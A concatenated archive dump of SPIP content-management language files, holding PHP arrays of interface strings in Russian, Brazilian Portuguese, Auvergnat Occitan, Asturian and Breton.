'zxml_inconnu_id' => 'неизвестный ID',
'zxml_mais_de' => 'но из',
'zxml_non_conforme' => 'не соответствует принципу',
'zxml_non_fils' => 'не является дочерним по отношению к',
'zxml_nonvide_balise' => 'таг не пуст',
'zxml_obligatoire_attribut' => 'требуется атрибут, отсутствующий в',
'zxml_succession_fils_incorrecte' => 'неверное дочернее наследование',
'zxml_survoler' => 'чтобы увидеть правильные, наведите курсор',
'zxml_valeur_attribut' => 'значение атрибута',
'zxml_vide_balise' => 'пустой таг',
'zxml_vu' => 'уже просматривалось'
);
?>
public_pt_br.php 0000666 00000007535 15252547432 0007750 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Página inicial',
'article' => 'Matéria',
'articles' => 'Matérias',
'articles_auteur' => 'Matérias deste autor',
'articles_populaires' => 'Matérias mais populares',
'articles_rubrique' => 'Matérias desta seção',
'aucun_article' => 'Não há nenhuma matéria neste endereço',
'aucun_auteur' => 'Não há nenhum autor neste endereço',
'aucun_site' => 'Não há nenhum site neste endereço',
'aucune_breve' => 'Não há nenhuma nota neste endereço',
'aucune_rubrique' => 'Não há nenhuma seção neste endereço',
'auteur' => 'Autor',
'autres' => 'Outros',
'autres_breves' => 'Outras notas',
'autres_groupes_mots_clefs' => 'Outros grupos de palavras-chave',
'autres_sites' => 'Outros sites',
// B
'bonjour' => 'Bom dia',
// C
'commenter_site' => 'Comentar este site',
'contact' => 'Contato',
'copie_document_impossible' => 'Não foi possível copiar o documento',
// D
'date' => 'Data',
'dernier_ajout' => 'Última inclusão',
'dernieres_breves' => 'Últimas notas',
'derniers_articles' => 'Últimas matérias',
'derniers_commentaires' => 'Últimos comentários',
'derniers_messages_forum' => 'Últimas mensagens publicadas nos fóruns',
// E
'edition_mode_texte' => 'Edição em modo texto de',
'en_reponse' => 'Em resposta a:',
'en_resume' => 'Em resumo',
'envoyer_message' => 'Enviar uma mensagem',
'espace_prive' => 'Espaço privado',
// F
'formats_acceptes' => 'Formatos aceitos: @formats@.',
// H
'hierarchie_site' => 'Hierarquia do site',
// J
'jours' => 'dias',
// L
'lien_connecter' => 'Conectar-se',
// M
'meme_auteur' => 'Do mesmo autor',
'meme_rubrique' => 'Na mesma seção',
'memes_auteurs' => 'Dos mesmos autores',
'message' => 'Mensagem',
'messages_forum' => 'Mensagens',
'messages_recents' => 'Mensagens de fórum mais recentes',
'mots_clef' => 'Palavra-chave',
'mots_clefs' => 'Palavras-chave',
'mots_clefs_meme_groupe' => 'Palavras-chave no mesmo grupo',
// N
'navigation' => 'Navegação',
'nom' => 'Nome',
'nouveautes' => 'As novidades',
'nouveautes_web' => 'Novidades na web',
'nouveaux_articles' => 'Novas matérias',
'nouvelles_breves' => 'Novas notas',
// P
'page_precedente' => 'pagina anterior',
'page_suivante' => 'página seguinte',
'par_auteur' => 'por ',
'participer_site' => 'Você pode participar da vida deste site e propor as suas próprias matérias ao se inscrever abaixo. Você receberá imediatamente um e-mail informando os seus códigos de acesso ao espaço privado do site.',
'plan_site' => 'Mapa do site',
'popularite' => 'Popularidade',
'poster_message' => 'Postar uma mensagem',
'proposer_site' => 'Você pode propor a inclusão de um site nesta seção:',
// R
'repondre_article' => 'Responder a esta matéria',
'repondre_breve' => 'Responder a esta nota',
'resultats_recherche' => 'Resultados da pesquisa',
'retour_debut_forums' => 'Voltar ao início dos fóruns',
'rubrique' => 'Seção',
'rubriques' => 'Seções',
// S
'signatures_petition' => 'Assinaturas',
'site_realise_avec_spip' => 'Site realizado com SPIP',
'sites_web' => 'Websites',
'sous_rubriques' => 'Subseções',
'spam' => 'Spam',
'suite' => 'a seguir',
'sur_web' => 'Na web',
'syndiquer_rubrique' => 'Sindicar esta seção',
'syndiquer_site' => 'Sindicar todo o site',
// T
'texte_lettre_information' => 'Esta é a mensagem de informação do site',
'texte_lettre_information_2' => 'Esta mensagem compila as novidades publicadas desde',
// V
'ver_imprimer' => 'Versão para impressão',
'voir_en_ligne' => 'Ver online',
'voir_squelette' => 'visualizar o template desta página'
);
?>
public_oc_auv.php 0000666 00000007134 15252547432 0010111 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=oc_auv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Acuèlh dau sit', # MODIF
'articles' => 'Articles',
'articles_auteur' => 'Articles d’aquel autor',
'articles_populaires' => 'Los articles mai populars',
'articles_rubrique' => 'Articles d’aquela rubrica',
'aucun_article' => 'I a ges d’article a aquela adreça ',
'aucun_auteur' => 'I a ges d’autor a aquela adreça ',
'aucun_site' => 'I a ges de sit a aquela adreça ',
'aucune_breve' => 'I a ges de brèva a aquela adreça ',
'aucune_rubrique' => 'I a ges de rubrica a aquela adreça ',
'autres_breves' => 'Autras brèvas',
'autres_groupes_mots_clefs' => 'Autres grops de mots claus',
'autres_sites' => 'Autres sits',
// B
'bonjour' => 'Bonjorn',
// C
'commenter_site' => 'Comentar aquel sit',
// D
'date' => 'Data',
'dernier_ajout' => 'Darrèir apondon',
'dernieres_breves' => 'Darrèiras brèvas',
'derniers_articles' => 'Darrèirs articles',
'derniers_commentaires' => 'Darrèirs comentaris',
'derniers_messages_forum' => 'Darrèirs messatges publicats dins los forums',
// E
'edition_mode_texte' => 'Edicion en mòde tèxt de',
'en_reponse' => 'En responsa a:',
'en_resume' => 'En resumit',
'envoyer_message' => 'Mandar un messatge',
'espace_prive' => 'Espaci privat',
// H
'hierarchie_site' => 'Ierarquia dau sit',
// J
'jours' => 'jorns',
// M
'meme_auteur' => 'Dau mesme autor',
'meme_rubrique' => 'Dins la mesma rubrica',
'memes_auteurs' => 'Daus mesmes autors',
'message' => 'Messatge',
'messages_forum' => 'Messatges de forum', # MODIF
'messages_recents' => 'Los messatges de forums mai recents',
'mots_clefs' => 'Mots claus',
'mots_clefs_meme_groupe' => 'Mots claus dins lo mesme grop',
// N
'navigation' => 'Navigacion',
'nom' => 'Nom',
'nouveautes' => 'Las novetats',
'nouveautes_web' => 'Novetats sobre lo web',
'nouveaux_articles' => 'Articles nuòus',
'nouvelles_breves' => 'Brèvas nuòvas',
// P
'page_precedente' => 'pagina precedenta',
'page_suivante' => 'pagina seguenta',
'par_auteur' => 'per ',
'participer_site' => 'Podètz participar a la vida d’aquel sit e prepausar los articles vòstres en vos inscriure çai sos. Recebretz tot sitòst un e-mail que vos indicará vòstres còdes per accedir a l’espaci privat dau sit.',
'plan_site' => 'Plan dau sit',
'popularite' => 'Popularitat',
'poster_message' => 'Postar un messatge',
'proposer_site' => 'Podètz prepausar un sit d’apondre a aquesta rubrica:',
// R
'repondre_article' => 'Respondre a aquel article',
'repondre_breve' => 'Respondre a aquela brèva',
'resultats_recherche' => 'Resultats de la cèrcha',
'retour_debut_forums' => 'Retorn au començament daus forums',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubricas',
// S
'signatures_petition' => 'Signaturas',
'site_realise_avec_spip' => 'Sit realizat amb SPIP',
'sites_web' => 'Sits web',
'sous_rubriques' => 'Sosrubricas',
'suite' => 'seguda',
'sur_web' => 'Sobre lo web',
'syndiquer_rubrique' => 'Sindicar aquela rubrica',
'syndiquer_site' => 'Sindicar tot lo sit',
// T
'texte_lettre_information' => 'Vaicí la letra d’informacion dau sit',
'texte_lettre_information_2' => 'Aquela letra recensa los articles e brèvas publicats dempuèi', # MODIF
// V
'ver_imprimer' => 'Version d’estampar',
'voir_en_ligne' => 'Vejatz en linha',
'voir_squelette' => 'telecharjar l’esqueleta d’aquela pagina'
);
?>
public_ast.php 0000666 00000007624 15252547432 0007430 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=ast
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Entamu del sitiu', # MODIF
'article' => 'Artículu',
'articles' => 'Artículos',
'articles_auteur' => 'Artículos d’esti autor',
'articles_populaires' => 'Los artículos más célebres',
'articles_rubrique' => 'Artículos d’esta estaya',
'aucun_article' => 'N’esta direición nun hai dengún artículu',
'aucun_auteur' => 'Nesta direición nun hai dengún autor',
'aucun_site' => 'Nesta direición nun hai dengún sitiu',
'aucune_breve' => 'Nesta direición nun hai denguna breve',
'aucune_rubrique' => 'Nesta direición nun hai denguna estaya',
'auteur' => 'Autor',
'autres' => 'Otros',
'autres_breves' => 'Otres breves',
'autres_groupes_mots_clefs' => 'Otros grupos de pallabres-clave',
'autres_sites' => 'Otros sitios',
// B
'bonjour' => 'Bon día',
// C
'commenter_site' => 'Comentariu so’l sitiu',
'copie_document_impossible' => 'Nun ye posible copiar el documentu',
// D
'date' => 'Fecha',
'dernier_ajout' => 'Últimu añadíu',
'dernieres_breves' => 'Últimes breves',
'derniers_articles' => 'Últimos artículos',
'derniers_commentaires' => 'Caberos comentarios',
'derniers_messages_forum' => 'Últimos mensaxes espublizaos nos foros',
// E
'edition_mode_texte' => 'Edición en mou testu de',
'en_reponse' => 'En respuesta a:',
'en_resume' => 'En resumen',
'envoyer_message' => 'Mandar un mensaxe',
'espace_prive' => 'Espaciu acutáu',
// F
'formats_acceptes' => 'Formats aceptaos: @formats@.',
// H
'hierarchie_site' => 'Xerarquía del sitiu',
// J
'jours' => 'díes',
// L
'lien_connecter' => 'Coneutase',
// M
'meme_auteur' => 'Del mesmu autor',
'meme_rubrique' => 'Na mesma estaya',
'memes_auteurs' => 'De los mesmos autores',
'message' => 'Mensaxe',
'messages_forum' => 'Mensaxes del foru', # MODIF
'messages_recents' => 'Mensaxes más nuevos nos foros',
'mots_clef' => 'Pallabra-clave',
'mots_clefs' => 'Pallabres-clave',
'mots_clefs_meme_groupe' => 'Pallabres-clave nel mesmu grupu',
// N
'navigation' => 'Navegación',
'nom' => 'Nome',
'nouveautes' => 'Les novedáes',
'nouveautes_web' => 'Novedáes na Web',
'nouveaux_articles' => 'Artículos nuevos',
'nouvelles_breves' => 'Breves nueves',
// P
'page_precedente' => 'páxina anterior',
'page_suivante' => 'páxina siguiente',
'par_auteur' => 'por ',
'participer_site' => 'Puedes participar na vida d’esti sitiu y proponer los tos propios artículos apuntándote equí. Vas recibir de secute un corréu electrónicu colos tos códigos pa poder entrar nel espaciu privau del sitiu.',
'plan_site' => 'Mapa d’esti sitiu',
'popularite' => 'Popularidá',
'poster_message' => 'Unviar un mensaxe',
'proposer_site' => 'Puedes proponer un sitiu Web pa amestar nesta seición:',
// R
'repondre_article' => 'Responder a esti artículu',
'repondre_breve' => 'Responder a esta breve',
'resultats_recherche' => 'Resultaos de la gueta',
'retour_debut_forums' => 'Tornar al entamu los foros',
'rubrique' => 'Estaya',
'rubriques' => 'Estayes',
// S
'signatures_petition' => 'Firmes',
'site_realise_avec_spip' => 'Sitiu fechu mandándose de SPIP',
'sites_web' => 'Sitios Web',
'sous_rubriques' => 'Sub-estayes',
'spam' => 'Puxarra',
'suite' => 'sigue',
'sur_web' => 'Na Rede',
'syndiquer_rubrique' => 'Sindicar esta seición',
'syndiquer_site' => 'Sindicar tou el sitiu',
// T
'texte_lettre_information' => 'Esta ye la carta informativa del sitiu',
'texte_lettre_information_2' => 'Esta carta recueye los artículos y les breves espublizaos dende', # MODIF
// V
'ver_imprimer' => 'Versión pa imprentar',
'voir_en_ligne' => 'Velo en llínia',
'voir_squelette' => 'ver la cadarma d’esta páxina'
);
?>
ecrire_br.php 0000666 00000222475 15252547432 0007242 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Enaouiñ an adveziant',
'affichage' => 'Diskwel',
'aide_non_disponible' => 'Al lodenn-mañ eus ar skoazell evit ar yezh-mañ n’emañ ket enlinenn c’hoazh.',
'annuler_recherche' => 'terriñ an enklask',
'auteur' => 'Skridaozer :',
'avis_acces_interdit' => 'Arabat mont tre.',
'avis_article_modifie' => 'Diwallit, labouret ez eus bet war ar pennad-mañ gant @nom_auteur_modif@, @date_diff@ munutenn zo',
'avis_aucun_resultat' => 'Disoc’h ebet.',
'avis_base_inaccessible' => 'Dic’hallus kennaskañ ouzh ar bon stlennadoù @base@.',
'avis_chemin_invalide_1' => 'An hent dibabet ganeoc’h',
'avis_chemin_invalide_2' => 'ne seblant ket bezañ reizh. Deuit en-dro d’ar bajenn a-raok ha gwiriit an titouroù lakaet ganeoc’h.',
'avis_connexion_echec_1' => 'C’hwitet eo ar c’hevreañ ouzh an diaz-titouroù.',
'avis_connexion_echec_2' => 'Deuit en dro d’ar bajenn a-raok, ha gwiriit an titouroù lakaet ganeoc’h.',
'avis_connexion_echec_3' => '<b>N.B.</b> War meur a servijer eo ret deoc’h <b>goulenn</b> bezañ aotreet da dizhout an diaz-titouroù a-raok gallout implijout anezhañ. Ma n’hallit ket kevreañ, gwiriit ha graet hoc’h eus ar goulenn-se.',
'avis_connexion_erreur_nom_base' => 'Ne vo nemet lizherennoù, sifroù ha barennigoù en anv ar bon',
'avis_connexion_ldap_echec_1' => 'C’hwitet eo krevreañ ouzh ar servijer LDAP.',
'avis_connexion_ldap_echec_2' => 'Deuit en-dro d’ar bajenn a-raok, ha gwiriit an titouroù lakaet ganeoc’h.',
'avis_connexion_ldap_echec_3' => 'Bep eil tro, n’implijit ket ar skor LDAP evit enporzhiañ implijourien.',
'avis_deplacement_rubrique' => 'Diwallit ! Er rubrikenn-mañ ez eus @contient_breves@ berrskrid@scb@ : askit al logell amañ dindan ma tibabit dilec’hiañ anezhi.',
'avis_destinataire_obligatoire' => 'Un degemerour a rankit disklêriañ a-benn gellout kas ar gemennadenn-mañ.',
'avis_erreur_connexion_mysql' => 'Fazi kevreañ SQL',
'avis_erreur_version_archive' => '<b>Diwallit! Klotañ a ra ar restr @archive@
gant ur stumm all eus SPIP disheñvel eus an hini staliet ganeoc’h.</b>
Emaoc’h o vont da zegouezhout dirak diaezamantoù bras :
riskl da zistrujañ ho tiaz titouroù, drougplegoù a bep seurt el lec’hienn, hag all.
Arabat aotren an enporzhiadenn-mañ.<p>Evit muioc’h a ditouroù, sellit ouzh <a href="@spipnet@">dielloù SPIP</a>.',
'avis_espace_interdit' => '<b>Lec’h difennet</b><div>Staliet eo SPIP dija.</div>',
'avis_lecture_noms_bases_1' => 'N’eo ket bet ar programm staliañ evit lenn anvioù an diazoù titouroù staliet.',
'avis_lecture_noms_bases_2' => 'Pe n’eus diaz ebet da gaout, pe n’eo ket aotreet listennañ an diazoù evit abegoù surentez (ar pezh a c’hoarvez gant meur a herberc’hier).',
'avis_lecture_noms_bases_3' => 'En eil degouezh, ez eus da grediñ e c’hallit implijout un diaz dezhañ hoc’h anv kevreañ :',
'avis_non_acces_message' => 'N’oc’h ket aotreet da dapout ar gemennadenn-mañ.',
'avis_non_acces_page' => 'N’oc’h ket aotreet da dizhout ar bajenn-mañ.',
'avis_operation_echec' => 'C’hwitet eo an oberiadenn.',
'avis_operation_impossible' => 'Oberiadenn dibosupl',
'avis_probleme_archive' => 'Kudenn evit lenn ar restr @archive@',
'avis_suppression_base' => 'DIWALLIT, ne vo ket tu da adtapout an titouroù diverket',
'avis_version_mysql' => 'Ne aotre ket ho servijer SQL (@version_mysql@) taolennoù an diaz d’en em dresañ drezo o-unan.',
// B
'bouton_acces_ldap' => 'Ouzhpennañ ar mont tre ouzh LDAP',
'bouton_ajouter' => 'Ouzhpennañ',
'bouton_ajouter_participant' => 'OUZHPENNAÑ UR PERZHIAD :',
'bouton_annonce' => 'KEMENN',
'bouton_annuler' => 'Nullañ',
'bouton_checkbox_envoi_message' => 'galloud da gas ur gemennadenn',
'bouton_checkbox_indiquer_site' => 'merkañ ul lec’hienn web dre ret',
'bouton_checkbox_signature_unique_email' => 'ur sinadur hepken dre chomlec’h postel ',
'bouton_checkbox_signature_unique_site' => 'ur sinadur hepken dre lec’hienn Web',
'bouton_demande_publication' => 'Goulenn ma vo embannet ar pennad-mañ',
'bouton_desactive_tout' => 'Dizenaouiñ pep tra',
'bouton_desinstaller' => 'Distaliañ',
'bouton_effacer_index' => 'Diverkañ ar menegerioù',
'bouton_effacer_tout' => 'Diverkañ PEP TRA',
'bouton_envoi_message_02' => 'KAS UR GEMENNADENN',
'bouton_envoyer_message' => 'Kemennadenn ziwezhañ : kas',
'bouton_fermer' => 'Serriñ',
'bouton_mettre_a_jour_base' => 'Hizivaat ar bon stlennadoù',
'bouton_modifier' => 'Kemmañ',
'bouton_pense_bete' => 'NOTENNIG EÑVORIÑ PERSONEL',
'bouton_radio_activer_messagerie' => 'Gweredekaat ar postelerezh diabarzh',
'bouton_radio_activer_messagerie_interne' => 'Gweredekaat ar postelerezh diabarzh',
'bouton_radio_activer_petition' => 'Enaouiñ ar sinadeg',
'bouton_radio_afficher' => 'Diskouez',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Dont war wel war roll ar skridaozerien kevreet',
'bouton_radio_desactiver_messagerie' => 'Diweredekaat ar postelerezh',
'bouton_radio_envoi_annonces_adresse' => 'Kas ar c’hemennoù d’ar chomlec’h-mañ :',
'bouton_radio_envoi_liste_nouveautes' => 'Kas listenn an nevezenti',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Na zont war wel e roll ar skridaozerien kevreet',
'bouton_radio_non_envoi_annonces_editoriales' => 'Arabat kas kemennoù embann',
'bouton_radio_pas_petition' => 'Sinadeg ebet',
'bouton_radio_petition_activee' => 'Sinadeg war-enaou',
'bouton_radio_supprimer_petition' => 'Dilemel ar sinadeg',
'bouton_redirection' => 'ADHEÑCHAÑ',
'bouton_relancer_installation' => 'Adlañsañ ar staliadur',
'bouton_suivant' => 'War-lerc’h',
'bouton_tenter_recuperation' => 'Klask dresañ',
'bouton_test_proxy' => 'Amprouiñ ar proksi',
'bouton_vider_cache' => 'Goullonderiñ ar grubuilh',
'bouton_voir_message' => 'Gwelet ar gemennadenn-mañ a-raok kadarnaat anezhi',
// C
'cache_mode_compresse' => 'Er mod gwasket emañ enrollet restroù ar grubuilh.',
'cache_mode_non_compresse' => 'Enrollet eo restroù ar grubuilh er mod anwasket.',
'cache_modifiable_webmestre' => 'Gant webmestr al lec’hienn e c’hell an arventenn-mañ bezañ kemmet.',
'calendrier_synchro' => 'Mard implijit ur meziant deiziataer kenglotus gant <b>iCal</b> e c’hellit e adsinkronelaat ouzh titouroù al lec’hienn-mañ.',
'config_activer_champs' => 'Gweredekaat ar maeziennoù da-heul',
'config_choix_base_sup' => 'merkañ un diaz war ar servijer-mañ',
'config_erreur_base_sup' => 'N’emañ ket gant SPIP ar moned da roll an diazoù hegerz',
'config_info_base_sup' => 'M’hoc’h eus diazoù titouroù all da atersiñ dre SPIP, gant e servijer SQL pe gant unan bennak all, e c’hellit disklêriañ anezho gant ar furmskrid amañ dindan. Ma ne skrivit netra e maeziennoù zo e vo implijet an titouroù kevreañ a dalvez evit an diaz pennañ.',
'config_info_base_sup_disponibles' => 'Diazoù ouzhpenn a c’heller atersiñ evit ar poent :',
'config_info_enregistree' => 'Enrollet eo bet ar c’hefluniadur nevez',
'config_info_logos' => 'Pep elfenn eus al lec’hienn a c’hell bezañ ul logo stag outi, hag unan all pa dremen al logodenn warni',
'config_info_logos_utiliser' => 'Ober gant al logoioù',
'config_info_logos_utiliser_non' => 'Na implijout al logoioù',
'config_info_logos_utiliser_survol' => 'Ober gant al logoioù riklañ al logodenn',
'config_info_logos_utiliser_survol_non' => 'Na implijout al logoioù riklañ al logodenn',
'config_info_redirection' => 'Gant an dibarzh-mañ e vo posupl deoc’h krouiñ pennadoù galloudel, ha ne vint nemet daveoù da bennadoù bet embannet e lec’h all, pe er-maez eus SPIP.',
'config_redirection' => 'Pennadoù galloudel',
'config_titre_base_sup' => 'Disklêriañ un diaz ouzhpenn',
'config_titre_base_sup_choix' => 'Diuzit un diaz ouzhpenn',
'connexion_ldap' => 'Kevreañ :',
'copier_en_local' => 'Eilañ en diabarzh',
'creer_et_associer_un_auteur' => 'Krouiñ ha strollata un aozer',
'creer_et_associer_une_rubrique' => 'Sevel ha strollata ur rubrikenn',
// D
'date_mot_heures' => 'eur',
// E
'ecran_securite' => ' + skramm a surentez @version@',
'email' => 'postel',
'email_2' => 'postel :',
'en_savoir_plus' => 'Gouzout muioc’h',
'entree_adresse_annuaire' => 'Chomlec’h ar rollad tud',
'entree_adresse_email' => 'Ho postel',
'entree_adresse_email_2' => ' Chomlec’h postel ',
'entree_base_donnee_1' => 'Chomlec’h an diaz titouroù',
'entree_base_donnee_2' => '(Alies e klot ar chomlec’h-se gant hini ho lec’hienn, a-wechoù e klot gant ar meneg «localhost», gwechoù all e chom goullo)',
'entree_biographie' => 'Buhezskrid berr-ha-berr.',
'entree_chemin_acces' => '<b>Skrivañ</b> an hent moned :',
'entree_cle_pgp' => 'Hoc’h alc’hwez PGP',
'entree_cle_pgp_2' => 'Alc’hwez PGP',
'entree_contenu_rubrique' => '(Danvez ar rubrikenn berr-ha-berr)',
'entree_identifiants_connexion' => 'Ho titouroù kevreañ...',
'entree_identifiants_connexion_2' => 'Anavezerioù kennaskañ',
'entree_informations_connexion_ldap' => 'Skrivit er furmskrid-mañ titouroù kevreañ ho rollad tud LDAP
Gant merour ar reizhiad pe ar rouedad e c’hell ar re-se bezañ roet deoc’h.',
'entree_infos_perso' => 'Piv oc’h-c’hwi ?',
'entree_infos_perso_2' => 'Piv eo an aozer ?',
'entree_interieur_rubrique' => 'E diabarzh ar rubrikenn :',
'entree_liens_sites' => '<b>Liamm gourskrid</b> (davenn, lec’hienn da weladenniñ,...)',
'entree_login' => 'Ho ker kevreañ',
'entree_login_connexion_1' => 'Ar ger kevreañ',
'entree_login_connexion_2' => '(A-wechoù e klot gant ger kevreañ ar moned FTP, gwechoù all emañ da vezañ lezet goullo)',
'entree_login_ldap' => 'Ger kevreañ LDAP orin',
'entree_mot_passe' => 'Ho ker-tremen',
'entree_mot_passe_1' => 'Ar ger-tremen kevreañ',
'entree_mot_passe_2' => '(A-wechoù e klot gant ar ger-tremen a implijit evit an FTP, gwechoù all emañ da vezañ lezet goullo)',
'entree_nom_fichier' => 'Merkit anv ar restr @texte_compresse@:',
'entree_nom_pseudo' => 'Hoc’h anv pe lesanv',
'entree_nom_pseudo_1' => '(Hoc’h anv pe ho lesanv)',
'entree_nom_pseudo_2' => 'Anv pe brizh-anv',
'entree_nom_site' => 'Anv ho lec’hienn',
'entree_nom_site_2' => 'Anv lec’hienn an aozer',
'entree_nouveau_passe' => 'Ger-tremen nevez',
'entree_passe_ldap' => 'Ger-tremen',
'entree_port_annuaire' => 'Niverenn borzh ar rollad tud',
'entree_signature' => 'Sinadur',
'entree_titre_obligatoire' => '<b>Titl</b> [Rekis]<br />',
'entree_url' => 'Chomlec’h (URL) ho lec’hienn',
'entree_url_2' => 'Chomlec’h (URL) al lec’hienn',
'erreur_connect_deja_existant' => 'An anv-se zo hini un dafariad-all',
'erreur_nom_connect_incorrect' => 'Difenn zo war an anv dafariad-se ',
'erreur_plugin_desinstalation_echouee' => 'C’hwitet eo dizesezañ an askouez plugin. E ziweredekaat a c’hallit koulskoude.',
'erreur_plugin_fichier_absent' => 'Restr ezvezant',
'erreur_plugin_fichier_def_absent' => 'Restr termeniñ ezvezant',
'erreur_plugin_nom_fonction_interdit' => 'Berzet eo anv ar fonksion',
'erreur_plugin_nom_manquant' => 'Mankout a ra anv an adveziant',
'erreur_plugin_prefix_manquant' => 'N’eo ket termenet tachenn envel an adveziant',
'erreur_plugin_tag_plugin_absent' => '<Adveziant> ezvezant er restr termeniñ',
'erreur_plugin_version_manquant' => 'Mankout a ra stumm an adveziant',
// H
'htaccess_a_simuler' => 'Diwall: Ne zalc’h ket stad kefluniad ho tafariad HTTP eus ar restr @htaccess@. Goulenn a ra ar surentez daskemmañ ar c’hefluniad-mañ war ar poent-se pe da lakaat an arstalennoù @constantes@ (despizadus er restr mes_options.php) da gaout talvoudoù kavlec’hioù e-maez eus @document_root@.',
'htaccess_inoperant' => 'htaccess diwered',
// I
'ical_info1' => 'War ar bajenn-mañ ez eus meur a hentenn evit chom e darempred gant buhez al lec’hienn-mañ.',
'ical_info2' => 'Evit titouroù ouzhpenn diwar-benn an teknikoù-se, lennit <a href="@spipnet@">teuliadoù skoazell SPIP</a>.',
'ical_info_calendrier' => 'Daou zeiziataer a c’hellit ober ganto. An hini kentañ a ziskouez an holl pennadoù bet embannet. War an eil emañ ar c’hemennoù embann hag ho kemennadennoù prevez diwezhañ : a-drugarez d’un alc’hwez hiniennel (a c’hellit cheñch forzh pegoulz o kemm ho ker-tremen) e c’hellit bezañ an hini nemetañ o kaout ar gwir da vont warnañ.',
'ical_methode_http' => 'Pellgargañ',
'ical_methode_webcal' => 'Sinkronelaat (webcal://)',
'ical_texte_js' => 'A-drugarez d’ul linenn javascript e c’hellit, en un doare aezet, diskouez ar pennadoù diwezhañ embannet war al lec’hienn-mañ, war forzh pe hini eus ho lec’hiennoù.',
'ical_texte_prive' => 'An deiziataer hiniennel-mañ a gelaou ac’hanoc’h diwar-benn nevezinti embann prevez al lec’hienn-mañ (labourioù, emgavioù, pennadoù, berrskridoù kinniget,...).',
'ical_texte_public' => 'Gant an deiziataer-mañ e c’hellit heuliañ nevezenti foran al lec’hienn (pennadoù ha berrskridoù bet embannet).',
'ical_texte_rss' => 'Gallout a rit sindikadiñ nevezenti ar forom-mañ war forzh peseurt lenner restroù XML/RSS (Rich Site Summary). A-drugarez d’ar furmad-se ivez e c’hell SPIP lenn an nevezenti war al lec’hiennoù all hag a implij ur stumm kenlotus(lec’hiennoù sindikadet).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Roll-skignañ',
'ical_titre_rss' => 'Restroù sindikadañ',
'icone_accueil' => 'Degemer',
'icone_activer_cookie' => 'Gweredekaat an toupin heuliañ',
'icone_activite' => 'Gwerederezh',
'icone_admin_plugin' => 'Merañ an adveziantoù',
'icone_administration' => 'Trezalc’h',
'icone_afficher_auteurs' => 'Diskouez ar skridaozerien',
'icone_afficher_visiteurs' => 'Diskouez ar weladennerien',
'icone_arret_discussion' => 'Paouez da gemer perzh er gaoz-mañ',
'icone_calendrier' => 'Deiziataer',
'icone_configuration' => 'Kefluniad',
'icone_creer_auteur' => 'Krouiñ ur skridaozer nevez, hag e stagañ ouzh ar pennad-mañ',
'icone_creer_mot_cle' => 'Krouiñ ur ger-stur nevez hag e liammañ ouzh ar pennad-mañ',
'icone_creer_mot_cle_rubrique' => 'Krouiñ ur ger-alc’hwez nevez a vo liammet ouzh ar rubrikenn-mañ.',
'icone_creer_mot_cle_site' => 'Krouiñ ur ger-alc’hwez nevez a vo liammet ouzh al lec’hienn-mañ',
'icone_creer_rubrique_2' => 'Krouiñ ur rubrikenn nevez',
'icone_edition' => 'Embannadur',
'icone_envoyer_message' => 'Kas ar gemennadenn-mañ',
'icone_ma_langue' => 'Va yezh',
'icone_mes_infos' => 'Va stlennadoù',
'icone_mes_preferences' => 'Va dibaboù',
'icone_modifier_article' => 'Kemmañ ar pennad-mañ',
'icone_modifier_message' => 'Kemmañ ar gemennadenn-mañ',
'icone_modifier_rubrique' => 'Kemmañ ar rubrikenn-mañ',
'icone_publication' => 'Embann',
'icone_relancer_signataire' => 'Adlañsañ ar siner',
'icone_retour' => 'Distro',
'icone_retour_article' => 'Distreiñ d’ar pennad',
'icone_squelette' => 'Frammoù',
'icone_suivi_publication' => 'Heuliañ an embann',
'icone_supprimer_cookie' => 'Diverkañ an toupin heuliañ',
'icone_supprimer_rubrique' => 'Diverkañ ar rummad-mañ',
'icone_supprimer_signature' => 'Diverkañ ar sinadur-mañ',
'icone_valider_signature' => 'Aprouiñ ar sinadur-mañ',
'image_administrer_rubrique' => 'Gallout a rit merañ ar rubrikenn-mañ',
'impossible_modifier_login_auteur' => ' Login digemm',
'impossible_modifier_pass_auteur' => 'Ger-tremen digemm.',
'info_1_article' => '1 pennad',
'info_1_article_syndique' => '1 pennad-skrid sindikadet',
'info_1_auteur' => '1 aozer',
'info_1_message' => '1 kemennad',
'info_1_mot_cle' => '1 ger-alc’hwez',
'info_1_rubrique' => '1 rubrikenn',
'info_1_site' => '1 lec’hienn',
'info_1_visiteur' => '1 gweladenner',
'info_activer_cookie' => 'Gallout a rit implijout un <b>toupin heuliañ</b>, ar pezh a dalvezo deoc’h da dremen en un doare aes eus al lec’hienn brevez d’an hini foran.',
'info_admin_etre_webmestre' => 'Reiñ din gwirioù ur mestr-gwiad ',
'info_admin_gere_rubriques' => 'Ar rubrikennoù da-heul a vez meret gant ar merour-mañ :',
'info_admin_gere_toutes_rubriques' => 'An <b>holl rubrikennoù</b> zo meret gant ar merour-mañ.',
'info_admin_gere_toutes_rubriques_2' => 'Merañ a ran <b>pep rubrikenn</b>',
'info_admin_je_suis_webmestre' => 'mestr-gwiad <b>ez on</b>',
'info_admin_statuer_webmestre' => 'Reiñ gwirioù ur mestr-gwiad d’an amaezhier-mañ',
'info_admin_webmestre' => 'An amaezhier-mañ zo<b>mestr-gwiad</b>',
'info_administrateur' => 'Merour',
